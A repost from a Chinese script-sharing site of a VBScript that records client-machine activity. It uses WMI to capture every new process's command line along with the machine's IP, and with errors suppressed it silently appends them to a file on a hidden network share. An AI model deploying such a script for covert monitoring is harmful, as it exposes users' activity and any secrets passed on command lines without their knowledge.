用VBS记录客户机操作的代码

发布时间:2022-04-17 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了用VBS记录客户机操作的代码脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
记录客户机操作的vbS脚本
on error resume next
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPconfigSet = objWMIService.ExecQuery _
("Select IPAddress From Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then 
For i=LBound(IPConfig.IPAddress) to ubound(IPConfig.IPAddress)
a=IPConfig.IPAddress(i)
Next
End If
Next

strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colMonIToredPRocesses = objWMIService. _ 
ExecNotificationQuery("select * from __instancecreationevent " _ 
& " within 1 where TargetInstance isa 'Win32_Process'")


i = 0


Do While i = 0
Set objLatestProcess = colMonitoredProcesses.NextEvent
b=objLatestProcess.TargetInstance.COMmandLine

set fso=createobject("scripting.fileSystemobject")
set file1=fso.opentextfile("\\192.168.0.87\ourway$\ourway.htm",8,true)
file1.writeline now() & "---" & a & "---" & b & "<hr>"
file1.close

Loop 

脚本宝典总结

以上是脚本宝典为你收集整理的用VBS记录客户机操作的代码全部内容,希望文章能够帮你解决用VBS记录客户机操作的代码所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。